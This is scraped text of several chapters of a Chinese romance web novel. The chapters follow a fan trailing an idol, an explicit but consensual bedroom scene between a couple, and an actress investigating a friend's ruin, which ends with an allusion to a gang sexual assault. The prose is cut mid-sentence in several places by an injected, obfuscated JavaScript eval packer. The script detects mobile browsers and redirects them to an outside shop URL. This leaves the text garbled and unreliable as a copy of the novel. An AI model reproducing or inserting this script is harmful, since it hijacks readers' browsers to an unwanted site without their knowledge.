握着相机的手稳定,她嘴上说着话,脚下走了几步,靠近人,递出自己的信。 “你可以收一收吗?” 她送过花,送过各种礼物,也像现在这样送过信,但对方一次也没接,这一次也没有。 男生从身旁走过,带动空气左右流动,萧童闻到了对方身上的味道。 清茶味儿的,很淡。 她退后一步,快速眨了几下眼睛。 回到咖啡厅,照样取出笔记本,开始编辑视频。 画面中,黑衣牛仔裤的男生一头碎发,轮廓流畅,皮肤白皙,低头时,侧脸清冷感很浓郁。 他抚着车门的手像玉白的竹节一样,脚上踩着一双白色的高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14049967|130752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帮板鞋。 人站直,眼睛看过来。 萧童心里下意识咯噔了一下,就这样隔着屏幕与男生对视。 她当时拍视频没怎么注意,现在才发现,赵柯好像找了一下她。 看到她后又状似不在意地移开视线。 萧童桌子下的腿不安分地动了动,抬起咖啡,一口喝完。 两颊鼓着,眼睛张大了些许。 放下空杯,桌面捕捉到动静,回应轻响。 手指搁在键盘上,速度有所下降。 半晌,萧童吐了口气,强迫自己冷静下来。 “咔哒——”视频发布出去。 松开空格键,萧童打开手机。 她的视频流量好的时候能有个一两万浏览,不好的时候就只有几百。 刷新了一下,没有点赞没有评论,她就撂下手机放到桌面没再管。 中午去一个餐馆吃了饭,回来的时候,原先的位置已经被人占了,所以她往里走,重新找到一个座位。 她刚坐下,裤兜里的手机就不停地震动起来。 点开,消息通知页面,全是视频留言以及艾特她的信息。 她戳进去,浏览起网友的评论。 【不知道为什么,有点想哭,像是……以为得不到回报时,突然而来的反馈】 【小姐姐的声音好好听,每天男生都被这样哥哥,哥哥的叫,感觉好宠】 【啊啊啊啊,他在下意识找你诶,他肯定早就注意到你啦】 【姐姐说话的语气跟小孩子说话一样,都是哄着来的,可能爱当真抵御万难,赵柯明显比一开始看着要温和一些了】 当然也有画风不同的,比如这条:【说明啥,姐妹们,追人不能一股脑地扑上去,偶尔来个失踪,你看看,立竿见影】 【是吧哈哈,我也察觉到了,一个待在火炉边的人怎么感受不到炙热,就是假装而已】 【我可能有点玻璃心,如果每天都来看我的小粉丝,突然有一天不来了,那种失落感肯定会有】 萧童边看边点头,到底没有回复什么。 下午,温度上升一点,路面的结冰融化,湿哒哒的,像下了场小雨。 萧童写完今天的稿,出门,远远地就看到了好几家的粉丝已经在拍偶像,准备出图了。 咖啡厅做了台阶,她目光在寻找赵柯,脚下突然滑了一下,整个人朝地面摔去。 尽管手撑着地面,立马站起来,面前的衣服还是遭了殃,又因为是白色的棉服,黄色的水渍更明显了。 膝盖一阵阵火辣辣地疼,萧童瘸着脚走向一旁,不挡着别人的路。 从衣兜里拿出纸巾,她低头擦着,没多大作用,反倒晕染的面积更大。 相机挂在脖子上,这会儿显示屏都花了,白色的裂纹长长地一条。 她顾不上腿上的伤,忙开机查看,运行了一会儿,好在价格贵有它的道理,除了外表损坏,里面功能似乎并未受到影响。 萧童松了口气,抬头去寻找赵柯,正好看到他出了大门,正在下台阶。 她抬腿的动作有些犹豫,但一想到刚才视频看到的某条评论,实在是不忍心,怕他心生失望,于是厚着面皮穿过马路。 依旧在商务车前面一点的草坪上,她举高相机,正面对着赵柯,倒退着步伐,拍了一个视频。 “哥哥辛苦了,一定要好好吃饭,好好睡觉嗷。” 她取完素材,放下相机,想到上午没送出去的信,在赵柯经过她身侧时,她再次递出。 萧童目光都在他的脸上,能明显感觉到他离自己越来越近。 她目不转睛,以为这一次也送不出去,正要收回,清瘦的男生突然正正好停在了她的跟前,黑瞳看向她。 萧童有个瞬间忘记了呼吸,她还未反应过来,手中的信就被赵柯拿走了。 106. 想你 上了车,赵柯没急着打开信。 他靠着座椅,脑海里还萦绕着刚才女生的样子。 她不知在哪儿摔了,浑身是泥,头发凌乱,脸上也抹到了泥巴,脏兮兮的,远远地,眼睛就看向了他,跟个走丢的小狗似的。 赵柯捏着信,内心不平静,他记起来了,这女生是多年前于江南某个小镇撞到他的那个孩子。 一眨眼,原来长这么大了。 时间在他身上似乎停止了一般,他都没有意识到,或者他早已迷失在那个秋天,现在的赵柯只是因为活着所以才活着。 他将窗外的视线收回,低头打开了信。 信封淡蓝色,信纸上白纸黑字地,洋洋洒洒地写了一大页,粗略估计在三千字左右。 他一路浏览下来,全是关心,关心他的身体,关心他的事业,叮嘱他要规律吃饭,不要熬夜。 她似乎把他当成了个小孩子,用了很多语气词,尽管没有听到她的声音,没有见到她本人,但仅此一封信,读下来,好像她就在他跟前,认真的神色看着他,细声说着话。 信的最后,她画个卡通人物举着个大太阳,旁边注释:不知道你会不会看到这里,如果看到,这个太阳给你,希望你温暖一点,每天都要开心嗷,我一直都在…… 赵柯收起来,很久都没有动弹。 —— 江砚提前一天回到淮市。 下了飞机,他没有停歇,开车回到家。 此时是晚上十点过,小区内很安静。 他开门的动静很轻,看到客厅的灯亮着。 在玄关处换了鞋,江砚朝里面走,抬眼随意一扫,就看到了沙发躺着的人。 他往卧室走的脚步停住,转身往电视机前来。 程三好光脚躺在沙发上,身上穿着米黄色的睡衣,剧本摊在脸上,一只手垂在外面。 应该是背台词的途中睡着了。 虽然房间内暖气足,但这样仰躺在沙发上待一晚上,少不了要生病。 江砚眼眸含着,弯腰,伸手去拿她脸上的剧本。 他脸上表情看上去淡淡的,实际上用力很轻,但本子刚抽动,下面的女生就哼了一声,紧接着,一脸不爽地抬手握着剧本盖住自己的脑门。 惺忪着眼,人瞧着还没反应过来。 江砚顺势坐到沙发上,用手摸人的脸。 “去床上睡。” 程三好脸颊有点痒,另一只手按在男人的手背上。 “感受出来了吗?”江砚见她那表情,唇角微勾,嗓音在寂静的夜里响起。 女生打了个哈欠,懒着神态,说:“怎么提前回来了?” 头顶的光亮很盛,剧本挡在脑门处留下一片阴影。 江砚盯着她的眼睛看了几秒才说:“想你。” 程三好拿开书的动作一顿,片刻,她耸了一下肩膀,平静道:“我不想你。” 男人颔首,一脸认同:“看得出来,毕竟短信都不怎么发给我。” 程三好睨他一眼,嘴角要扬不扬的:“你……面上看上去好像不在乎?” 江砚没回答,附下身,上手拿走那个碍人的本子,低头与人亲吻。 他亲了亲她的嘴唇,舌尖要探进去时,遭到了阻拦。 一手撑在女生一侧沙发,江砚稍微直起点身子,目光下垂,看人。 程三好挂着个蔫坏的笑,说:“你还没回答我。” 她这个位置,视线自然地落到男人的脖颈。 那颗荷尔蒙爆棚的喉结似乎是滚动了一下,紧接着,男人的声音就在头顶响起。 “如果不在乎,我想,”下巴被他捏住,“我就不会心急到事情还未办完就回来见你。” 程三好唇松了,仰头承受他这个深吻。 她回应着,身体诚实地告诉了上方的男人,她其实也很想他。 滚烫的呼吸纠缠,每一次喘息,都像是在诉说着思念。 程三好的两条腿并在一起靠着沙发背,江砚就保持着那个侧坐的姿势与她亲昵。 他的右手捧着她的脸,左手放在女生的腰上。 身躯紧紧相贴,热量源源不断地上升。 程三好唇一轻,是江砚离开她的嘴角,去亲脸颊,顺着耳垂往下,侧头去亲她的脖子。 腰间按着的手不知何时窜溜进来,她被那手心的温度烫到,情不自禁地咬住下唇内壁的软肉。 她不吭声,耳朵红着,想转过头,埋首在她颈间的男人又来亲她。 衣服下的手没停,它抚摸着,变换姿势,一会儿去到程三好的腹部,一会儿又停在腰间,就是没往上。 周围空气温度似乎有所上升,落地窗外,深墨色的夜空,一轮弯月十分皎洁,干净地看不到一丝杂质。 程三好莫名想曲腿,就突然察觉到睡衣下的手开始游走,抚摸着向上。 脑子混沌成一片,她难得抽回一丝理智,记起来,自己一个人在家图方便,所以她就没穿内衣。 江砚的手被女生隔着衣服按住,他胸膛起伏,眉头微蹙,鼻子不断地发出沉沉的粗气。 太阳穴在跳,他刚要抽出手,手背上的力道就消失了。 江砚掀起眼皮,看了一眼身下的女生,没说话。 程三好睁开眼睛,上方的光亮太盛,她闭了一下眼睛,还未睁开,就感觉到热量退去。 她急忙伸手抓住男人的衣领:“不要走……” “不走,”江砚伸手抱住将她抱个满怀,另一只手穿过女生膝下,将她抱离沙发。 他的衬衫皱得不像话,抱着人朝卧室走去,步伐很稳。 抬脚推开门,屋内自动感应落地灯亮起。 江砚膝盖先着床,附身,弯腰将女生放到了被褥上。 他下意识起身,衬衫下摆一紧,不自觉跟着跌下去。 男人没有丝毫犹豫地一手撑在床铺抬起下颌去亲人,一手拽松自己的领带。 不知不觉间,二人都上到了床上。 程三好枕着枕头,一条腿微微曲着,两腿之间是男人的膝盖。 那只骨节分明,指甲修剪得整齐的手伸进衣摆,向下。 她被抚摸。 动作生涩却灵活,隔着一层布料,朦胧而清晰。 痒酥酥的感觉窜上天灵盖,程三好埋首在男人颈间,腿想合拢,但是被那条中间的腿硬生生阻断。 她出了汗,手控制不住地抓紧他的肩头,嗓音像是被雨浸泡过,湿润地叫人:“江砚……” “嗯,”江砚在光线灰暗中应声,又低又沉,“马上就好。” 他手没停,目光晦暗。 男人肩膀很宽,这样罩在女生上面,遮住了所有朝这里跑的亮光。 卧室窗帘紧闭地拉着,他们的身影投射到上面。 床单深灰色,被褥皱成一团堆在一边。 向前伸展着的小脚弓起脚背,程三好眼前一白,闷哼了一声。 她身躯一瞬间绷直,江砚衬衫更皱了。 他没动,静静地等女生缓过那股劲。 程三好觉得浑身哪哪都热,连呼吸似乎都是热气。 失焦的瞳孔重新聚拢,她快速眨了几下眼睛,羞赧断断续续地涌上来。 她忍住那股后知后觉的尴尬,从江砚颈间抬起头,两手搭在他的肩头,与此同时用力带着人翻转,变作了她跪坐在他身上的姿势。 江砚顺着她,就势半倚靠着床头。 他还未说话,女生就已经低头,伸手握住他的皮带要解开。 这个动作太过突然,太意外,太不符合程三好的性格。 江砚慌忙逮住人的手,制止她的行为,语气难得不平静:“不用……” 话一说出口,那嗓音哑得不像话。 两人都是一怔,江砚喉头滚动,在女生看过来时偏头移开视线。 他手没松动,听到身前人说了句:“我也想帮你……” 她的嗓音不带着平日里的调皮,也不是懒洋洋的音调,竟然是软着声气的那种,这落在江砚耳朵里和撒娇没区别。 他本就在忍,这话一出,绷紧的神经蓦然溃败,他松开按住女生的手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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程三好见他已经前往卫生间就没动,打算等他先洗澡,自己待会儿再洗。 江砚却只是站到门边,转过身见她依旧待在床上,抱手倚靠着门框,淡声道:“需要我抱你下来?” 程三好扬了下头,有些疑惑:“你不是要先洗澡?” “嗯,是。”男人嘴角带着若有若无的笑,“不一起?” “……”程三好脑子空白一秒,转瞬舔了一下上牙,瞥了他一眼,“你……收敛一点。” 她长发披肩,光着脚丫盘腿坐在床上,清清冷冷的气质,神态是慵懒的。 江砚看着,过了几秒,招手:“过来。” 程三好:“干嘛?” “洗手。”语气无奈,“我又不会吃了你。” 程三好一下回忆起适才发生的事情,她顿时有点不自在,终究没说什么,下了床。 她进了卫生间,站到盥洗台前,扭转水龙头。 水声哗啦,清凉感爬上手指。 余光中,刚才站在门边的男人已经抬脚往她走来。 她还未反应,江砚就从她身后怀住她,脑袋搁在她的颈间,用手在某瓶洗手液下按下一泵液体,然后揉搓,再握住程三好在水流下的手摩挲,清洗。 前面是一面巨大的镜子,程三好透过明亮的镜子看他,见他神色带着点认真,不知为何笑了一下。 “怎么?”江砚嗓音很有磁性,他没有抬眼,偏头亲了下人,“我是长在你笑点上的男人?” 程三好笑容放大,说出让自己感到好笑的点:“洗个手都要黏在一起,总觉得……好奇妙。” 江砚脸色很淡,那种淡不是冷漠,而是一种餍足后的彻底放松。 他垂着目光,说了句:“那你可真奇妙,做什么都觉得好笑。” 白色的泡沫打在手上,滑溜溜的。 程三好看着看着,收敛笑意,想起了正事。 107. 事情转折 “事情解决好了吗?” 江砚握着人的手,让清水冲刷掉上面的泡沫,他说:“没有。” “遇到困难了吗?”程三好心不在焉。 “没有。”拿过干燥的毛巾,江砚依旧保持着这个姿势,“我需要出庭,所以要花点时间,按照司法程序走。” 程三好点头,稍稍放下心:“那就好。” 身后的人已经退开,眼见他要转身离开卫生间,程三好也不知怎么想的,突然伸手抓住人。 “你……那个,”抬眼看他,“今晚就要走吗?” 江砚微顿,转瞬弓身看着人,笑了,说:“舍不得了?” 程三好手指蜷缩,眸光飘忽,却没有说话。 江砚看懂了她的表情,心里某块地方似乎被一朵软乎乎的云朵碰撞了一下。 他牵起女生的手在她手腕处亲了一下,又靠近抱住人:“今晚不走,留下来陪你。” 说着,他松开人,摸了下她的头,垂着目光看女生:“洗个澡,我在床上等你。” 那点子稍微要起来的氛围顿时烟消云散,程三好扒拉开头上的手,混不在乎地说:“江总真是,越来越没个正经了。” 江砚没笑,他离开了卫生间。 夜晚寂静,屋内灯都关了,黑暗成一片。 程三好躺在床的一边,江砚在另一边,二人之间的距离可以在容纳下一个成年人。 双手交叠放在肚子上,感受到起伏,程三好闭着眼睛,却完全没有困意。 半晌,她翻了个身,动作很轻。 又过了几分钟,她再度翻了个身。 “睡不着?”视野灰暗中,男人低声说了这么一句。 “嗯。”程三好下巴掩藏在被子下,声音闷闷的。 “过来一点。”床榻一侧感受到微微的震动,与此同时,江砚这样说道。 程三好犹豫了几秒,把身子攒过去。 她只是稍微往里面动了一点就碰到了男人热乎的身体。 江砚伸手揽住女生的腰将她带进自己的怀里,下巴碰触着她的额头。 他没有说话,身体温度攀升,很暖和。 程三好闭上眼睛,听着他均匀的呼吸渐渐沉入梦乡。 — 翌日,天边大亮,程三好一觉睡到了日上三竿。 她迷糊着睁开眼睛又闭上,被褥下的手探过去,冰凉一片。 “……”她侧头,看向旁边,那里早已没了男人的身影。 在床上没有磨蹭,程三好搓了搓自己脸,脚落地,坐在床沿要起身时,瞥见奶白色的床头柜上的纸条。 【我走了,三天后必回】 程三好捏着纸条看完,过了几秒,揉成一个团丢进了垃圾桶。 电影几天前就杀青,她后脚就进了组,题材是悬疑偏刑侦的,是她人生中的第一部女主演的戏。 拍摄地在鹿城,不过现在在他们住处旁边的某所大学取景,她也就没搬离这儿。 搭档的男主演似乎是当红小生,又是现代剧,所以到处都是代拍和路透。 程三好饰演的角色是一个女警,她从片场下来,随意找了处角落蹲着。 掏出手机,在网上搜索某个名字。 唐晓丽提着个塑料小凳子赶来,弯腰放下时,瞥到了程三好手机页面。 她本是不小心,很快就移开了。 程三好跟她说了声谢谢就坐在凳子上,抱着手机依旧在查找什么。 她脸色不轻松,显然有事。 唐晓丽站在一边,看了一眼周围,想了想还是开口道:“三好姐。” “嗯?” 助理蹲下身,目光落在地面,说:“我看你在网上搜索岑橙……抱歉,我不小心撇见你的手机页面。” “……”程三好眉头当即皱紧了,她有些急迫地看向旁边的助理,问,“你认识我朋友?” 冷风打着旋卷进教学楼,女生的碎发被吹动。 唐晓丽:“也不算认识,我见过她几面吧。” 她见程三好的表情,继而说道:“我曾经当过郑燕几个月的助理,而郑燕和岑橙是同一个选秀节目出来的,两人起初关系不错,后来不知为何,她们大吵一架,我就没有看到二人来往了。” “除了这些,你还知道更多岑橙的事情吗?”程三好面色凝重。 唐晓丽摇头:“我不清楚了,不过我和郑燕之间还有联系,也许她能知道一些。” 这个冬天总是过得格外漫长,程三好看向远方灰蒙蒙的天空,良久,她说:“我可能要麻烦你带我去找郑燕一趟了。” “不麻烦,不麻烦。”唐晓丽摆手。 程三好收回视线,看着手中的手机。 她几个月前去乡下看望孙翠,自从看到岑橙变成那样,回来后,她就下了心要查清楚,当年她离开村里来到淮市,到底经历了什么才会变成那样。 陈泽说她是报名参加了个选秀综艺,程三好就上网查,然而搜索出来的页面却是一片空白。 这世界上同名的,或者某些文章,更或者词语注释之类的,网页上总会出现个关键词才对,然而,无论是哪个浏览器,哪个软件,一搜岑橙两个字,弹出来的竟然是一片空白。 明晃晃的,这是被人刻意全网抹除了。 能有这样的能力,这样的手段,背后牵扯的人说明绝不简单,也更加说明了,岑橙变成那样肯定是遭遇了什么。 下午的戏份拍完,天色还早。 程三好和唐晓丽打车前往郑燕现在居住的小区。 保安认识唐晓丽,所以二人得以进去,坐电梯到了某个楼层。 她按下门铃,程三好落后她一步,脸上没有什么表情。 过了一会儿,来开门的是一个上了年纪的阿姨。 唐晓丽叫人:“阿姨,我是小丽,你还记得我吗?” 郑燕的母亲身上戴着金银首饰,看清人后,露出了个笑:“怎么会不记得?来,快请进。” 唐晓丽点头,看了一眼旁边的人,随后两人一起走进了房间。 家里客厅只有郑妈妈一人,她去厨房洗了水果,还拿出一些花生瓜子招待人。 唐晓丽急忙说:“阿姨,不用忙活,快坐下吧。” 三人落座,郑妈妈看着前面的那个陌生女生,问:“她是?” “我的朋友。”唐晓丽解释道。 “哦,好,长得真漂亮。” 程三好对着她乖巧地点头。 唐晓丽见状,寒暄道:“近来身体可好,阿姨。” “好的好的,我没身体没什么毛病。” “叔叔呢,没在家?” “去医院了,临时要开一个讲座。” 房间内装饰虽然称不上华丽,但是一眼就可以看出来,郑燕的家庭经济应该是属于中等阶级的那种。 来的路上,唐晓丽跟程三好介绍了,说郑燕的父亲是医生,母亲是服装店老板,他们只有郑燕这个孩子,家庭关系和睦。 程三好初见郑阿姨,觉得人起码是和善的。 “那……郑燕姐呢,在家吗?”唐晓丽寒暄够了,开启主题。 郑妈妈神情落寞,不过为了不再外人面前显露出来,她牵强地笑笑:“就那样,还是只待在卧室,哪里都不去。” “我想去和她聊聊天,你看……可以吗?”唐晓丽征求她的意见。 “当然,有朋友能和她说话,我巴不得呢。”妇人眼里露出一点喜色。 三人离开客厅,行过走廊,在一间房门前停下脚步。 “小燕?”郑阿姨敲门,“是妈妈。” 门里面没有动静。 妇人对着两个女生不好意思地笑笑,然后手握上门把手,试着打开,没想到里面没锁。 卧室很宽敞,大床放置在窗边,前面铺着地毯。 旁边墙壁上的化妆桌上坐着一人,披散着头发,正是郑燕。 她趴在桌上,手里拿着只口红在发呆,像是没有察觉到门口的几人。 郑妈妈叹了口气,眉宇间有点疲惫,说:“你们进去和她说说话吧,但是,如果她情绪激动,希望你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14098734|130752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们宽容一点,不要强求。” “没事,阿姨,你放心。”唐晓丽摸了摸妇人的肩膀。 关上门,靠近了,二人才闻到了浓烈的酒味,是从郑燕身上散发出来的。 唐晓丽走过去,蹲在桌边,与她说话:“郑燕姐,我是小丽。” “……” 女人脸色有点不正常地红,头发凌乱,看上去好久没洗了。 她瞳孔不聚焦,木讷地看向旁边的唐晓丽。 像是反应不过来,她说:“你谁?” “唐晓丽,我当过你的助理呢。” 郑燕扯着嘴角笑了一下:“哦。” “啪嗒——”口红摔在桌面发出声响。 女人踉跄着起身,唐晓丽下意识去扶却被甩开。 “别碰我!”郑燕瞅着人,语气不好。 她说了那句以后,摇晃着脑袋,神志看上去很不清醒,醉得不轻。 脚踩着肥大的裤腿,她忽然朝地面摔去。 千钧一发,手臂被人一拉,腰间缠上一只手,她栽进一个怀抱。 这一猛烈的动作差点将胃里的酒精都给晃出来,郑燕趴在那人的肩头,干呕了一下,吐出来一些津液。 唐晓丽见状,心脏跑到嗓子眼,有点惊慌道:“三好姐……” 程三好皱着眉头,屏住呼吸,手没松,抱着人拖到床上。 郑燕不撒手,耍酒疯:“你谁啊,为什么要抱我。” 程三好被勒住脖子,她的两只手展开在空中,看着身下的人淡声道:“我没抱你。” 郑燕表情委屈:“我不认识你,你为什么要缠住我。” 程三好很稳,见好好说她听不懂,直接说道:“我是岑橙的朋友。” “……”郑燕呆愣片刻,松开了手。 她躺在床上,突然捂住脸哈哈大笑起来。 整个房间很安静,另外两人都没有说话,只有女人的笑声。 唐晓丽看了旁边的程三好一眼,刚要说什么,就见她动了。 程三好抽出纸巾不急不慢地擦着肩膀衣服的脏污,头也不抬地说:“岑橙她‘疯了’,我来是想要通过你得知当年她身上到底发生了什么事。” 郑燕笑够了,她就这样躺在床上,哼着歌,不给任何回应。 程三好丢了纸巾,人站得直,认真说:“我希望你可以帮我。” “关我屁事……”郑燕又笑起来,语气逐渐癫狂,“关我屁事!活该!都是她该的!哈哈,活该活该!” 她样子看上去实在是太过疯癫,说话的途中还会扣手,红痕一出,血就冒了出来。 程三好没料到她反应这么大,上前抓住她的手腕,不让她继续伤害自己的行为。 “冷静下来,不要急。” 然而郑燕像是想起了什么可怕的噩梦一般,缩着肩膀,神色恐惧,哆哆嗦嗦地说着话:“她活该,她活该,要不是她,要不是她,我根本不会变成这样,不是这样的,啊!都怪她!” 程三好下颌咬紧,目光却很冷静,温声问她:“为什么要怪她?” “就怪她!那个名单上的名字明明是她——”郑燕嘶吼出声,将程三好的手抓破。 她声音太大,惊动了房间外面的人。 郑妈妈打开门,看清场景,急忙走过去。 “小燕,你在干什么?” 她上手要将二人分开,然而郑燕像是没知觉一般,死死地掐着程三好的手,眼神还带着点疯魔的笑。 “她疯了?哈哈,哈哈哈,她活该。” 一股鲜红的血源源不断地从程三好的手背冒出,郑妈妈见状,又哭又急,上手拉扯自己的女儿。 “儿啊,你松手,松手好不好。” 程三好咬紧口腔内壁的软肉,缓过那突如其来的巨大刺痛感,低声说了句:“阿姨你先让开。” 紧接着,她硬生生挣脱出来,反手擒住郑燕,把她压在被褥间。 “岑橙绝对不会活该,她就是被人陷害了!”程三好眼眶通红,撕裂着嗓子说,“我要给她求个公道!” 108. 冰山一角 掷地有声,在房间久久环绕没有散去。 所有人都愣住了,保持郑燕。 她被吼得发懵,渐渐反应过来后就开始猛烈的挣扎。 “你放开我!放开我!” 郑妈妈不忍刚想出声,程三好就松了手。 她退后,一直到床下。 余光中,唐晓丽递过来纸巾。 程三好接过来按在伤口上,没怎么在乎似的扭头冲郑妈妈道歉:“对不起,是我的不对,才会让你女儿情绪激动了。” “没有没有,应该是我跟你们道歉才对,”妇人揩了一下眼角,神色愧疚,“她的性格我清楚,所以不怪你……我一开始得知朋友来找她,心里还暗自高兴,总觉得有人与她说说话,敞开点心不至于那么自闭也是好的,结果还让你受伤了,不好意思。” 说着她就要弯腰,程三好惶恐,她急忙握住郑妈妈的肩膀,说:“不是这样的,你不必如此。” 郑燕又在哼歌了。 郑妈妈看了一眼,无力地说道:“总之先出去吧,等她冷静再说。” 三人离开了卧室,来到客厅。 一时间,谁也没说话。 郑妈妈显然在发呆,目光看向对面的女生,瞄到她手上的伤口才反应过来似的起身,要去找医药箱给人上药。 她动作仓促,神思不佳,抬腿时一下不妨磕在了茶几。 “阿姨!”程三好和唐晓丽同时焦急出声。 她们扶住妇人的手臂,让她重新坐下。 程三好蹲在郑妈妈的跟前,担忧道:“还好吗?我看看……” 说着,她手撩起妇人的裤腿,膝盖有点红。 郑妈妈觉得她们太过紧张了,说:“我没事,家里所有的物什都做个圆角,边沿也被打磨光滑,就是为了小燕不磕着自己。” 程三好微微放下心来,给人放下裤腿,低下头,抿紧唇。 “手怎么样了?”郑妈妈还很担心女生的伤势。 程三好抬起手背,划出的长痕已经没有流血了,但能看到一个细长的口子,翻出一点白肉。 郑燕是下了狠劲的。 郑妈妈心疼,哪怕不是自家孩子。 “家里电视柜下有医药箱,我这就拿来先给你上点药。”她撑住膝盖,想要站起来。 唐晓丽很有眼力见,急忙说:“您别动,我去。” 她按照指示,从前面的电视机下面的一个柜子里掏出一个箱子,提到茶几上。 程三好虽然觉得回去擦个碘伏,再贴个创口贴就好,但是为了不让妇人担心,还是主动拿出药品,消了毒后,抹了个创伤药,再缠了块纱布。 完了,她举着手冲郑妈妈说道:“看,没多大的事儿,我身体素质行,回去后不到两天疤都掉了。” 妇人放下心,愁眉舒展。 程三好将医药箱放好,重新回到沙发上。 她看着对面的郑妈妈,半晌,开口道:“阿姨,我可以问您一些事吗?” “嗯,没事,你问。” 程三好:“其实是这样的,我有个朋友,叫岑橙,她和你女儿曾经是朋友。我不知道她们之间发生了什么,到了如今这个地步,但我想寻求你们帮助,想从你们这里得知我朋友过去两年是发生了什么事……她疯了,什么都不记得,我无法问。” 郑妈妈听着她这么说,叹了口气:“怎么一个个孩子都这么,都变成这样了……” “阿姨你是知道点什么吗?” 郑妈妈抬眼看着她,将自己知道的都一并说出来。 “小燕大学期间去参加了个什么选秀节目,在这期间结识了个朋友,她还带回家里来,就是那个叫岑橙的女孩子。” 妇人低头,抚摸沙发,继续道:“她俩玩得好,那孩子我见过几面,是个心善,可爱的……后来有一天,小燕回来得很晚,身上……身上有很多痕迹。” 说到此处,郑妈妈捂住嘴:“我和她爸问她到底是发生了什么事?她什么都不说,就是一个劲的掉眼泪,后来我们说要报警,小燕拼命摇头,说如果他们这么做,她就从楼上跳下去……” “我们没有办法,只能依着她来,几天后,岑橙来找小燕,他们发生了争吵,从那之后,岑橙那孩子便再也没有来过我们家。小燕在家待了半月,有人打电话给她,不知说了什么,她离开家,说自己要去拍戏……小丽,应该就是这个时候跟着她的吧?” 唐晓丽点头说:“是。” 她接过郑妈妈的话头,接着说郑燕后来的事:“她在拍摄的是一部电视剧,饰演女一,班底剧本都很好,如果不出意外的话,播出后极大可能会走红,但是——拍完后没上映,因为那部剧的导演因为犯事进监狱了,郑燕姐得知后……从此一蹶不振。她退圈,我辞职,后来的事便无可知晓了。” 郑妈妈想到这些事不免惘然,说:“她回家后,学不念了,就整日待在家里,闭门不出,我和她爸爸以为她心理生病了,要带她去看医生,结果她闹着要割手腕,我们拿她没办法,只好这样养着她。” 程三好听完,片刻,问:“她平时也这样?” 妇人摇头:“不,平日里也会有正常的时候,我们与她说话,她也会回应。” 程三好心里有了个数:“她经常喝酒吗?” “对,一喝酒就不正常,会发酒疯,不喝的话,就是不说话,待在房间内不出来,不闹事。”郑妈妈说道。 客厅光线不知何时已经黯淡,程三好撇了一眼窗外,又低头看了一眼手机,已经六点过了。 郑燕喝了酒,什么都问不出来,这样待着也不是事,于是她起身告辞,决定明天拍完戏再过来。 二人下了楼,来到小区外。 路灯已经亮起,在寒夜中为路人点亮脚下的路。 风吹着,衣角翩飞。 程三好将头发别到耳后,低头在软件上打车。 她先把唐晓丽送回去,才自己回到住处。 打开客厅的灯,她坐在沙发上,心神不宁。 半晌,打电话给了经纪人张燕。 电话接通后,那头的人听她说完,像是在确定什么:“这样没问题吗?” “没问题,我身体强,这点工作量不碍事。” “行,刚好有个本子递到我手中,我发电子版给你,适合的话,面试过后就开始吧。” 程三好嗯了一声。 张燕不想问的,但还是说出了口:“怎么突然这么想往升?” “没什么,”程三好手指扣着沙发,“就是趁年轻,多干点事儿,反正现在正在拍摄的电视剧戏份不多。” “好吧,我只负责引领,大多时候把握还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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画面中有阳光,有草地,她扎着麻花辫,低着头,神色温柔恬淡。 她的画技说不上好,但是很贴合她的样貌。 郑燕皱眉,瞧着不太开心。 程三好歪头,说:“画面中的人物长得很像你呢,这也太巧了吧。” 郑燕没那兴趣和人掰扯,出声赶人:“没什么事,还请你出去,不要再来打扰我。” 程三好将画放到一旁,倾身向前突然伸手抱住女生。 一切都那么意外,那么出人意料。 郑燕一下僵在原地,瞳孔瞪大。 她甚至来不及反应,抱着她的这个女生就摸了摸她的头,语气很温柔:“画画那么好看,长得那么漂亮,我不认识几年前的你,但我觉得一定是个可爱,善良,阳光开朗的女生吧,偶尔可能会说点脏话,那更酷了。” 程三好缓缓地摸怀里女生的头发,眼睛里有怜惜:“不管发生了什么,那都不是你的错。” 郑燕推开人,下拉着脸,情绪突然异常激动:“你懂个屁!事情不是发生在你身上,你当然能轻轻松松地说这样的话。” 109. 出事 她站起身,怒不可遏:“尤其是你,岑橙所谓的朋友,更加没资格!” 程三好冷静,就这样仰头看着人:“她是怎样的人我清楚,或者你竟然能和她交朋友,应该也更清楚,事情真如你所说,什么都怪她的话,你就该去找她报仇。” 郑燕笑起来,那眼里却冷冰冰的全是嘲弄。 “你懂什么?”她指着人,“你知道我经历了什么吗?你知道我那个晚上是怎么度过的吗?” 郑燕将桌子上的东西全给扫到地上,胸膛剧烈起伏,声音却压得很低:“五个人……五个大腹便便的臭男人。” 